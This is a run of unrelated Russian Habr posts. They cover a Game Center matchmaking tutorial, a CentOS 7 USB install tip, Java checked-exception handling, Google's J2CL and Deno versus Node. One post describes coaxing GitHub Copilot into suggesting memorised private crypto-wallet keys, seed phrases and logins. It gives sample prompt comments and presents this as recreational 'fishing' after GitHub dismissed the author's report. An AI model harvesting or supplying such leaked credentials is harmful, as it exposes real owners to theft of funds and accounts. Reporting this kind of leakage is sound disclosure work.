данные в делегат (в этой игре им будет Cocos2D слой), таким образом, их может использовать движок игры. match:player:didChangState используется при подсоединении игрока для проверки, все ли игроки подключены, чтобы можно было начать матч. В противном случае, если игрок отключился, то матч заканчивается и поступает уведомление в делегат. Окей, теперь у нас есть код для создания матча, давайте используем его в нашем HelloWorldLayer'e. Переключитесь на HelloWorldLayer.h и внесите следующие изменения: ``` // Добавьте в начало файла #import "GCHelper.h" // Обозначим @interface как реализующий GCHelperDelegate @interface HelloWorldLayer : CCLayer ``` Теперь переключитесь на HelloWorldLayer.m и внесите такие поправки: ``` // Добавьте в начало файла #import "AppDelegate.h" #import "RootViewController.h" // Добавьте в конец метода init, сразу после setGameState AppDelegate * delegate = (AppDelegate *) [UIApplication sharedApplication].delegate; [[GCHelper sharedInstance] findMatchWithMinPlayers:2 maxPlayers:2 viewController:delegate.viewController delegate:self]; // Добавьте новые методы в конец файла #pragma mark GCHelperDelegate - (void)matchStarted { CCLOG(@"Match started"); } - (void)matchEnded { CCLOG(@"Match ended"); } - (void)match:(GKMatch *)match didReceiveData:(NSData *)data fromPlayer:(NSString *)playerID { CCLOG(@"Received data"); } ``` Самая важная часть здесь — это метод init. Он получает RootViewController из App Delegate, потому что этот view controller будет отображать view controller создания матча. Далее, вызывается метод для поиска матча, путем отображения view controller'а создания матча. Это метод, который вы только что написали в GCHelper'е. Далее идут заготовки для функций начала или конца матчей, которые вы реализуете позднее. Последняя вещь. По умолчанию шаблон Cocos2D не содержит свойство для RootViewController'а в App Delegate, поэтому вы должны его добавить. Переключитесь на AppDelegate.h и добавьте следующее: ``` @property (nonatomic, retain) RootViewController *viewController; ``` Синтезируйте его в AppDelegate.m: ``` @synthesize viewController; ``` Готово! Соберите и запустите приложение, и вы должны увидеть, как появляется view controller создания матча: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7c3/3bf/788/7c33bf788a43a90f4c65f8b4a44103de.jpg) Теперь запустите приложение на другом устройстве, чтобы у вас было две запущенные копии одновременно (например, это могут быть симулятор и ваш iPhone). **Важно:** убедитесь, что вы используете разные аккаунты Game Center'a на каждом устройстве, в противном случае ничего не выйдет. Нажмите «Play Now» на обоих устройствах и, после некоторого времени, view controller создания матча исчезнет, и вы должны увидеть что-то подобное в логе: ``` CatRace[16440:207] Authentication changed: player authenticated. CatRace[16440:207] Player connected! CatRace[16440:207] Ready to start match! ``` Поздравляю! Вы создали матч между двумя устройствами! Теперь вы на пути создания сетевой игры! ##### Ландшафтная ориентация и GKMatchmakerViewController Вы должно быть заметили, что по умолчанию GKMatchmakerViewController появляется в портнетной ориентации. Очевидно, что это очень раздражает, ведь эта Cocos2D игра в ландшафтной! К счастью, вы можете исправить это, заставив GKMatchmakerViewController принимать только ландшафтные ориентации. Чтобы это сделать, создайте новый файл, выберите iOS\Cocoa Touch\Objective-C class и создайте подкласс NSObject'а под именем GKMatchmakerViewController-LandscapeOnly. Замените содержимое GKMatchmakerViewController-LandscapeOnly.h на следующее: ``` #import #import @interface GKMatchmakerViewController(LandscapeOnly) - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation; @end ``` А затем и содержимое GKMatchmakerViewController-LandscapeOnly.m: ``` #import "GKMatchmakerViewController-LandscapeOnly.h" @implementation GKMatchmakerViewController (LandscapeOnly) - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { return ( UIInterfaceOrientationIsLandscape( interfaceOrientation ) ); } @end ``` И всё! Соберите приложение и запустите его. Теперь view controller должен отобразиться в ландшафтном виде: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/413/66f/319/41366f3194d908f4df11bd4d5bd573bc.jpg) ##### Что же дальше? Вот [пример проекта](http://d1xzuxjlafny7l.cloudfront.net/downloads/CatRacePart1.zip) со всем кодом, который был разобран в этом уроке. Во второй части мы изучим, как передавать данные между устройствами, и превратим игру в замечательную гонку кошка vs ребенок!
https://habr.com/ru/post/173449/
null
ru
null
# Centos 7.x USB Install Media (Добавляем Centos в Multiboot) Как бывало здорово, берешь образ CentOS 6.x, выдергиваешь из него куски, и пихаешь все это на USB флешку, по соседству с другими системами. Но, начиная с Centos 7, сделать это стало немного сложнее, и единственным официальным способом стала запись образа на прямую на носитель (с потерей всего что на нем уже есть). Но, применив немножко смекалки, я смог решить эту проблему, прошу под кат: Выковырять файлы из образа, думаю, получится у всех (примонтировать образ на loop или можно открыть его 7-zip). Дальше нужно закинуть файлы на нашу флешку (кой-чего надо класть в корень, можно выпилить для этого раздел, кому как удобно). Дальше, небольшая магия параметров командной строки ядра (смотрим в /isolinux/isolinux.cfg): ``` label linux menu label ^Install CentOS 7 kernel vmlinuz append initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64 quiet ``` Самый интересный для нас параметр: inst.stage2=hd:LABEL=CentOS\x207\x20x86\_64 Он сообщает загрузочным скриптам и установщику, где искать пакеты и другие файлы, которые нужны для установки. Тут идет ссылка на раздел с меткой «CentOS 7 x86\_64». Дальше все просто, добавляем в меню загрузки нашей флешки CentOS, и прописываем метку раздела, на который были закинуты файлы из образа. Вот и все, только учитывайте используемую ФС на флешке, установочный образ (его ядро), должно быть знакомо с этой ФС.
https://habr.com/ru/post/275751/
null
ru
null
# Цифровая рыбалка в GitHub Copilot Эта небольшая заметка посвящена одной особенности GitHub Copilot. Про неё можно найти вопросы на [stackoverflow](https://stackoverflow.com/questions/70559637/github-copilot-giving-away-api-keys-how-can-i-protect-my-keys), статьи и видео в интернете, но на хабре я не видел материалов на эту тему. Наверно, плохо искал. Copilot может подсказать вам не только код подходящей функции, но и приватные ключи от криптокошельков, и логины/пароли от различных сервисов. Под катом немного подробностей для желающих порыбачить. Конечно, можно возразить, что раз владельцы репозиториев публикуют что-то в открытый доступ, значит там по определению не должно быть приватных данных, но все мы знаем, как работает на практике обычная невнимательность. В идеальном мире не было бы смысла искать уязвимые сайты сразу пачками через поисковики, а пароли типа "123456" не были бы до смешного популярными. Некоторые приватные ключи от крипты оказались, скажем так, не от пустых кошельков. Я сообщил о проблеме в GitHub ещё в середине апреля, спустя полтора месяца они прислали следующий ответ: *Thanks for the submission! We have reviewed your report and determined that it does not present a significant security risk. The personal data that Copilot presents is from public data. In this case, those keys were in public repositories or not all valid.* *Because GitHub Copilot was trained on publicly available code, its training set included public personal data included in that code. From our internal testing, we found it to be extremely rare that GitHub Copilot suggestions included personal data verbatim from the training set. In some cases, the model will suggest what appears to be personal data – email addresses, phone numbers, access keys, etc. – but is actually made-up information synthesized from patterns in training data. For the technical preview, we have implemented a rudimentary filter that blocks emails when shown in standard formats, but it’s still possible to get the model to suggest this sort of content if you try hard enough.* Раз разработчики считают такое поведение алгоритмов нормальным... Итак, что необходимо для рыбалки? Собственно, только VS Code и установленный GitHub Copilot. А дальше начинаем писать комментарий в коде с ключевыми словами. ``` #Ethereum wallet project private key private_keys_list = ['0x ``` Немного помогите алгоритму понять, что именно вы ищете, может стоит добавить 1-2 цифры в начало ключа или указать другое имя переменной. Предложенные варианты не заставят себя ждать, можно спокойно дополнять список. Конечно, алгоритм будет пытаться генерировать искусственные ключи исходя из каких-то закономерностей, но такие случаи обычно сразу заметны: другая длина ключа, невозможные для ключа символы и т.п. ``` #Ethereum 12 words secret seed phrase phrase = 'a ``` Напомню, по нажатию *Ctrl+Enter* откроется панель сразу с несколькими вариантами продолжения кода. С логинами и паролями к сайтам немного тяжелее, но принцип тот же. Не проверял, зависят ли данные от языка программирования. В общем, с *"but is actually made-up information synthesized from patterns in training data"* что-то странное, не всё там синтетически сгенерированно и не дублируется с реальными данными. Будем надеяться, разработчики GitHub действительно следят за источниками данных для обучения алгоритмов. Эта заметка написана с единственной целью: поделиться ещё одним способом рыбалки в интернете, ещё одним способом немного развлечься в свободное время и поискать что-нибудь интересное. Не забывайте менять пароли!
https://habr.com/ru/post/668446/
null
ru
null
# Вы всё ещё ловите исключения? Тогда мы к вам Как знают многие разработчики, обработка ошибочных ситуаций - архиважная составляющая любого полноценного кода, претендующего на использование в реальной жизни. И как следствие, писать обработку ошибок - прямая обязанность любого ответственного программиста. Некоторые считают, что если вы не предусмотрели все варианты поведения - вы не программист, и диплом вам не дадут (если речь о студентах). ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/c05/314/944/c053149442fc127b12159bebdd8c7dfd.jpg) --- Но с другой стороны, обрабатывать ошибки всегда лениво и напряжно. Поэтому существует много инструментов для облегчения этой задачи. Стандартный механизм обработки ошибок в Java - Exceptions. Я не буду сейчас расписывать скучные описания, как бы отвечая на скучные вопросы со многих собеседований. Скажу лишь, что Исключение - это на мой взгляд, неправильный перевод понятия Exception. Я считаю, что исключение, то есть *исключительная ситуация* - это про другого представителя летающих монстров, java.lang.Error. А Exception - это не исключение, это часть правила. Это всегда один из возможных исходов. Я бы перевёл этот класс не иначе как Отклонение (Отступление, Отвод). В смысле отклонение от прямого курса. Потому как перехватив это отклонение, можно курс выправить и продолжить работу. А Исключение - это для безответственных разработчиков. Так вот. Давайте теперь перехватывать эти отклонения. Как можно это сделать? В современной разработке существует тенденция наследовать все Exception от непроверяемых исключений. Это позволяет не заботиться о написании кода обработки ошибок. Я считаю этот подход расхлябанным и безответственным. И сам всегда пропагандирую использование явно заданных и объявленных отклонений с жёсткой обязанностью их обработать, т.е. настаиваю на использовании только проверяемых исключений/отклонений в любом бизнес-коде. Это вносит неудобства, да. Надо их везде ловить. Как упростить задачу? Обычно советуют тупо оборачивать исключение в java.lang.RuntimeException. Но такой подход чреват тяжёлыми последствиями, когда приложение выходит в релиз и на бой. Я как человек, имеющий ещё и плюсовый бэкграунд, прекрасно знаю, что некоторые ситуации невозможно предугадать даже очень внимательно вглядываясь в код. А потом искать их причины днями, неделями, иногда месяцами. Потому что кто-то в самом начале, в месте возникновения ошибки не объявил о возможности их возникновения. Ну да ладно. Не будем о грустном. Лучше попробуем сделать нашу жизнь проще, написав утилитку, которая с одной стороны, позволяет обрабатывать ошибки. А с другой стороны не привносит глобальных неудобств и не захламляет код бесконечными (часто вложенными друг в друга) блоками try-catch-finally. Что предлагается? 1. Во-первых, на каждом уровне-слое приложения должна быть своя логика по контролю ошибок, специфичная для данного слоя. На каждом таком слое есть своё семейство Исключений, желательно проверяемых. 2. Исключением из правила (простите за каламбур) могут будут только специализированные фреймворки, и то не всегда. Они могут игнорировать ошибки, которые от них не зависят. Но лучше делать это через туннелирование ошибок, то есть обернуть на влёте - развернуть на вылете. 3. Во-вторых, надо бы упростить синтаксис обработки ошибок. Тут я поймал себя на мысли, что необходимость в этом возникает, так как мэйнстрим постепенно, медленно, но всё-таки верно потихоньку уползает от практик процедурного программирования. А блоки *try-catch*, по-моему, являются наследием именно этой парадигмы. И ООП , и тем более функциональщина и даже стримы Java-8 как-то плохо сочетаются с этими блоками, фигурными скобками. Вот я и решил сделать утилитку, которая бы помогла реализовать вышеназванный подход. Предлагаю вашему вниманию её [первую версию](https://github.com/mahairod/exceptioner/blob/main/src/main/java/net/elliptica/util/ErrorWrapper.java). Здесь я попробовал сразу около трёх подходов реализовать. Первый - просто статичная обёртка над небезопасным кодом, которая напечатает в лог и в случае чего прокинет ошибку своего местного разлива. Это метод `errorToWarn`. Второй имел целью дальнейшее снижение шаблонного кода: вынесение инициализации логгеров в одно отдельное место. Для работы нужна только одна статическая функция `err2Warn`. И затем я решил пойти ещё дальше и сделать описание ошибок в удобном формате, одновременно предлагая ленивую логику и флюент (как по-русски это?) интерфейс. Это вылилось в вызов, который уже возвращает своеобразный билдер, который затем можно настраивать по типу jmock или spring security api. Выглядеть это стало примерно как табличка состояний, примерно вот так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/028/f4e/779/028f4e77963948a1c7948bd8ea31191a.png)К слову первый подход вылился во что-то наподобие ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/147/7cc/308/1477cc30830bccaf6a0928fbe97a834d.png)Надеюсь мои лирические рассуждения покажутся вам полезными. Возможно вам понравится использованный мной подход и вы захотите развить утилиту советом / личным вкладом. Код утилиты: [ErrorWrapper.java](https://github.com/mahairod/exceptioner/blob/main/src/main/java/net/elliptica/util/ErrorWrapper.java) По следам обсуждения в комментариях, ссылка на самый авторитетный источник, где все бессмысленные споры прерываются ясным и чётким разъяснением: https://docs.oracle.com/javase/tutorial/essential/exceptions/runtime.html
https://habr.com/ru/post/540102/
null
ru
null
# J2CL — Лучше поздно, чем никогда *Ещё никому не удалось опоздать на свои похороны. Валентин Домиль* На прошлой неделе команда из Google [наконец-то выложила исходники фреймворка J2CL](https://github.com/google/j2cl), о котором говорили с 2015 года. Идея трансляции Java в JavaScript далеко не нова, и все уже давно набили шишек с Google Web Toolkit, однако этот продукт сообщество ждало как ни один другой — о нем говорили и делали выступления, но никто его не видел. ![](https://habrastorage.org/r/w1560/webt/ye/fe/6k/yefe6kgvdo8449ifrxfzlfenbve.png)     ‌‌‍‍ Прошло больше 3-х лет с первого анонса и, кажется, что продукт потерял рынок даже не родившись. Сегодня у нас есть [Scala.js](https://www.scala-js.org/), [Kotlin.js](https://kotlinlang.org/docs/tutorials/javascript/kotlin-to-javascript/kotlin-to-javascript.html) и [JSweet](http://www.jsweet.org/), не говоря уже о том, что веб-разработка захвачена TypeScript и для Java не осталось места. За такое время многие, даже самые преданные джависты, утратили веру в “Java для Front-end” и обуздали тот или иной JavaScript фреймворк. Поскольку релиз всё-таки случился, давайте посмотрим, что получилось, и кому это может пригодиться. Идея ---- Фундаментально, эмулировать JVM в браузере — задача сложная. Её долгое время решали разработчики Google Web Toolkit и достигли определенных успехов: построили транслятор, разработали механизмы эмуляции стандартной библиотеки Java, предоставили тулинг для разработки приложений. Плюсов у такого подхода много: статическая типизация, возможность переиспользовать серверный код в браузере, готовые инструменты в виде Java IDE. Многие подходы, изначально заложенные в GWT мы сейчас видим в TypeScript, Web Pack и других инструментах фронтенд-разработки. Старичка Google Web Toolkit не любили за его громоздкость и свою абстракцию для построения UI. Идея J2CL проще — позволить транслировать Java в JavaScript с наименьшими возможными расходами, так чтобы можно было легко вызывать Java из JavaScript и наоборот. И если бы в далеком 2015 году действительно существовал качественный транслятор Java в JS без лишнего мусора, то неизвестно, как развивалась бы веб-разработка дальше. Предыстория J2CL ---------------- В начале 2015 года команда Google GWT приняла трудное, но необходимое решение — разработать новый продукт, позволяющий задействовать Java во фронтенд-разработке. В основном это было связано с изменением тенденций в веб-разработке и их новыми внутренними клиентами, которые рассматривали Java для веб не как изолированную экосистему, а как неотъемлемую часть большого стека. Это потребовало совершенно нового видения и создания инструментов с нуля, которые должны быть тесно интегрированы с остальной экосистемой. При помощи GWT практически невозможно было достичь этих целей. И хотя в GWT присутствовали средства для двустороннего взаимодействия с JavaScipt, фреймворк не мог избавиться от большого багажа в виде UI, RPC библиотеки и других прикладных API. Что это за зверь ---------------- Как [утверждают разработчики](https://github.com/google/j2cl), J2CL дает бесшовную интеграцию Java кода в JavaScript приложениях. Он представляет из себя простой и легковесный транслятор Java в JavaScript с упором на оптимизацию кода при помощи [Closure Compiler](https://github.com/google/closure-compiler). * Можно легко смешивать Java и JavaScript в одном проекте, получая лучшее от каждого из языков. * Позволяет переиспользовать код между серверным решением, веб-приложением и платформой Android. Доступно большое количество Java библиотек, таких как: Guava, Dagger и AutoValue. * Современный и удобный. Сборка проектов построена на базе [Bazel](https://bazel.build), поддерживается Live-reload. * Проверенный. Утверждается, что J2CL используется в продакшене в проектах GSuite: GMail, Docs, Slides и Calendar. По существу, J2CL транслирует исходный Java код в JavaScript код, не используя при этом байткод Java классов. Это означает, что как и в случае с Google Web Toolkit, для компиляции проекта нужны исходники для всех используемых библиотек. Кроме того, это вызывает вопросы о поддержке языковых возможностей Java в новых релизах. На данный момент, разработчики обещают поддержку всех синтаксических возможностей Java 11. J2CL не будет поддерживать GWT Widgets, GWT RPC и другие GWT библиотеки — только базовую Java и механизм интеграции с JavaScript — [JSInterop](http://www.gwtproject.org/doc/latest/DevGuideCodingBasicsJsInterop.html). Т.е. это очень ограниченная версия GWT с полностью новым транспайлером. И, поскольку новый продукт больше не совместим с GWT он называется не GWT, а J2CL. В итоге, планируемый релиз GWT 3 будет представлять собой фреймворк поверх J2CL, где все прикладные библиотеки будут отделены от системного уровня самого транслятора. Существующие ограничения совместимости с Java описаны [на GitHub](https://github.com/google/j2cl/blob/master/docs/limitations.md). В основном, они остались такими же как в GWT — отсутствует поддержка рефлексии, нет сетевого API Java. Но кое-что отличается — семантика массивов и списков не эмулируется, например не выполняется проверка вхождения индекса в границы массивов. Разработчики делают упор не на эмуляции поведения JVM, а на синтаксических средствах языка, чтобы обеспечить минимальные накладные расходы и не генерировать тонны JavaScript для обеспечения полной совместимости. Хотя J2CL и готов к продакшену, его OSS версия все еще далека от этого. Например, есть [проблемы со стартом проектов на Windows](https://github.com/google/j2cl/issues/9) и разработчики не обещают стабильного API. Выбор Bazel в качестве системы сборки для внутреннего продукта Google легко объяснить, но для сообщества в нём нет никаких плюсов, и для использования J2CL сейчас нет другого пути, кроме как изучить эту систему сборки. Пока остаётся только ждать, когда сообщество напишет плагины для Maven / Gradle. Пробуем ------- Во-первых, чтобы сейчас попробовать J2CL вам понадобится Mac OS или Linux. Во-вторых, вам нужно установить [Bazel](https://docs.bazel.build/versions/master/install.html) — несколько экзотическую систему сборки от Google. Теперь можно хоть что-то собрать, например, HelloWorld [из официального репозитория.](https://github.com/google/j2cl/tree/master/samples/helloworld) ``` > bazel build src/main/java/com/google/j2cl/samples/helloworld:helloworld ``` Если мы заглянем в вывод, то будем приятно удивлены: ``` > cat bazel-bin/src/main/java/com/google/j2cl/samples/helloworld/helloworld.js document.write('Hello from Java! and JS!'); ``` Это конечно же ничего не доказывает, но очень радует своей минималистичностью после модулей GWT. Больших примеров приложений пока нет, будем ждать их появления. Зачем это нужно если есть xxx.js -------------------------------- Ответ на вопрос зачем это нужно найти пока сложно. На первый взгляд, в J2CL заключена очень сильная идея — переиспользовать Java для фронтенда так же, как люди используют TypeScript. С другой стороны, кажется что проект опоздал. Новые проекты транспайлеров в JS, такие как Kotlin.js и Scala.js реализованы в виде плагинов для компиляторов и им не требуется повторный разбор исходного кода. И в этом плане, J2CL — это шаг назад, поскольку ему нужны исходники, которые он будет разбирать. Отдельный момент, это сам язык Java. Зачем писать на многословной Java, если можно и сервер, и клиентскую часть написать на лаконичном Kotlin? Хотя, если сравнивать с другим похожим проектом — [JSweet](https://github.com/cincheo/jsweet), то J2CL я доверяю больше. Тулинг у JSweet намного более дружелюбный и готовый к использованию, но у JSweet небольшое сообщество и он почти весь написан одним человеком. Код говорите открытый? ---------------------- Безусловно радует, что у проекта открытая лицензия Apache 2.0. К сожалению, *открытый код* совсем не означает *открытый процесс разработки*. Самое [большое разочарование](https://groups.google.com/forum/#!topic/Google-Web-Toolkit-Contributors/9Zi4-C5gpxQ) наступило в сообществе от сложившейся ситуации, проект J2CL анонсирован 3 года назад, но никто не показывает его исходный код, нельзя повлиять на его итоговый API и никак не ускорить процесс разработки, потому что некуда слать патчи. Будем надеяться, что ситуация наладится и продукт станет жизнеспособным. **Update:** первое приложение на J2CL, портированное с GWT2 — <https://github.com/DominoKit/dominodo>
https://habr.com/ru/post/430378/
null
ru
null
# 5 главных причин того, что JS-разработчики будут использовать Deno вместо Node Создатель Node.js Райан Даль выпустил новую платформу, которая рассчитана на решение многих проблем Node.js. Возможно, вашей первой реакцией на эту новость будет: «О, отлично, очередной JS-фреймворк? Его мне только и не хватало…». Я отреагировал на эту новость точно так же. А вот после того, как я немного вник в особенности Deno, я понял причины, по которым Deno можно назвать в точности тем, что серверным JavaScript-разработчикам нужно в 2020 году. [![](https://habrastorage.org/r/w780q1/webt/7n/15/-u/7n15-u_wbnvsczajon53te4fmv8.jpeg)](https://habr.com/ru/company/ruvds/blog/504584/) Сравним Deno и Node.js и рассмотрим 5 основных причин того, что хорошего способна дать разработчику эта платформа. В частности, речь идёт о том, что, благодаря Deno, в распоряжении того, кто раньше использовал Node.js, окажется более удобный и современный инструмент. 1. Современные возможности JavaScript: ES-модули ------------------------------------------------ Node: ``` const moment = require("moment") ``` Deno: ``` import { moment } from "https://deno.land/x/moment/moment.ts" ``` Если вы, как и я, являетесь React-разработчиком, то вы уже давно заметили, что синтаксис импорта пакетов в Node.js отличается от того, к чему вы привыкли. Дело тут в том, что платформа Node.js была создана давно, в 2009 году. С тех пор в JavaScript появилось много нового. Многое в языке было улучшено. В React (и в Deno) используется современный синтаксис импорта зависимостей вида `import package from 'package'`. В Node.js же применяется конструкция `const package = require(«package»)`. Использование синтаксиса ES-модулей даёт разработчику два серьёзных преимущества: 1. Благодаря использованию ключевого слова `import` можно избирательно загружать из пакета лишь то, что нужно. Это помогает экономить память. 2. При использовании ключевого слова `require` загрузка модулей выполняется синхронно. А механизм `import` загружает модули в асинхронном режиме, что улучшает производительность. Если вы внимательно прочли вышеприведённые фрагменты кода, вы могли обратить внимание на то, что в Deno-примере пакет `moment` импортируется из URL. А это ведёт нас к следующему преимуществу Deno перед Node. 2. Децентрализованное хранилище пакетов --------------------------------------- При использовании Deno разработчик больше не привязан к NPM. Вы правильно меня поняли: больше никакого `package.json`. Каждый пакет загружается с использованием URL. В Node.js, для того чтобы использовать пакет, нужно сначала установить его из NPM: ``` npm i moment ``` Далее, необходимо дождаться завершения установки, а уже после этого подключать пакет в приложении: ``` const moment = require("moment") ``` Кроме того, каждый раз, когда кому-нибудь будет нужно запустить ваш Node.js-проект локально, понадобится устанавливать все зависимости этого проекта из NPM. В среде Deno пакеты импортируются с использованием URL. В результате, если в вашем проекте нужна библиотека `moment`, вам достаточно импортировать её с использованием URL <https://deno.land/x/moment/moment.ts>. Выглядит это, как мы уже видели, так: ``` import { moment } from "https://deno.land/x/moment/moment.ts" ``` В деле работы с пакетами у Deno есть ещё одно огромное преимущество перед Node.js. Оно заключается в том, что каждый пакет, после установки, кэшируется на жёстком диске. Это означает, что установка пакета производится лишь один раз. Если в некий проект нужно импортировать зависимость, которая уже была импортирована в другой проект, соответствующий код не придётся загружать повторно. 3. В Deno встроена поддержка TypeScript --------------------------------------- Для того чтобы писать на TypeScript под Node.js, придётся выполнить достаточно длительный процесс настройки рабочей среды. Нужно установить TypeScript, обновить `package.json`, обеспечить поддержку типов в модулях. В Deno, для того чтобы обеспечить работоспособность TypeScript-кода, достаточно сохранить файл с таким кодом, использовав расширение `.ts` вместо `.js`. Компилятор TypeScript встроен в Deno. 4. Поддержка await за пределами асинхронных функций --------------------------------------------------- Node: ``` const fakeData = async () => {     const data = await fetch("https://jsonplaceholder.typicode.com/todos/1");     const result = await data.json(); } ``` Deno: ``` const data = await fetch("https://jsonplaceholder.typicode.com/todos/1"); const result = await data.json(); ``` В Node.js ключевое слово `await` может быть использовано лишь в функциях, объявленных с использованием ключевого слова `async`. В Deno можно использовать `await` где угодно, организуя таким образом ожидание поступления каких-нибудь результатов. Помещать await-конструкции в async-функции необязательно. Почти все JavaScript-приложения включают в себя множество асинхронных функций. В результате можно сказать, что это улучшение делает код значительно чище и проще. 5. Доступ к браузерным API (Window, Fetch) ------------------------------------------ Для того чтобы выполнять HTTP-запросы средствами JavaScript, можно использовать API Fetch. В Node.js нет доступа к браузерным API. Это, в нашем примере, приводит к невозможности обращения к Fetch с использованием лишь стандартного функционала платформы. Сначала нужно установить соответствующий пакет: ``` npm i node-fetch ``` Затем его надо импортировать в свой код: ``` const fetch = require("node-fetch") ``` После этого можно выполнять соответствующие вызовы. А у Deno есть доступ к объекту `window`. Это значит, что для использования того же API Fetch достаточно просто сделать так: ``` fetch("https://something.com") ``` Это относится и к использованию других браузерных API. Для работы с ними не нужно устанавливать никаких дополнительных библиотек. Если скомбинировать это с возможностью использования `await` за пределами асинхронных функций, становится понятным то, как и почему Deno-код может оказаться проще, чем Node.js-код. Node: ``` const fetch = require("node-fetch") const fakeData = async () => {     const data = await fetch("https://jsonplaceholder.typicode.com/todos/1");     const result = await data.json(); } ``` Deno: ``` const data = await fetch("https://jsonplaceholder.typicode.com/todos/1"); const result = await data.json(); ``` Итоги: у Deno есть и другие преимущества перед Node --------------------------------------------------- У Deno есть и множество других преимуществ перед Node.js. Например, Deno, в своём стандартном виде, безопаснее. В среде Deno можно выполнять Wasm-код, тут имеется множество встроенных библиотек. Все те сильные стороны Deno, о которых шла речь в этой статье, взаимосвязаны. Все вместе они формируют ту среду, которую можно назвать более современной, чем Node.js, средой для разработки бэкенд-проектов. Я — React-разработчик, особенности Deno тесно переплетаются с моими потребностями. Теперь, создавая серверный код, я могу пользоваться ключевым словом `import`, могу где угодно ставить `await`. Я могу писать на TypeScript, ничего специально не настраивая, могу пользоваться Fetch, не устанавливая никаких дополнительных пакетов. Моя работа становится проще. Станет ли Deno, в итоге, заменой Node? Возможно. Вероятно, это может занять несколько лет. Экосистема Node.js огромна, Deno понадобится время на то, чтобы вырасти до таких масштабов. JavaScript-разработчики уже используют Deno в своих новых проектах. Поэтому, если вы сейчас собираетесь начать работу над чем-нибудь новым, вам, определённо, стоит взглянуть на [Deno](https://deno.land/). **А вы уже попробовали Deno?** [![](https://habrastorage.org/r/w1560/webt/a_/bs/aa/a_bsaactpbr8fltzymtkhqbw1d4.png)](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=deno-vmesto-node#order)
https://habr.com/ru/post/504584/
null
ru
null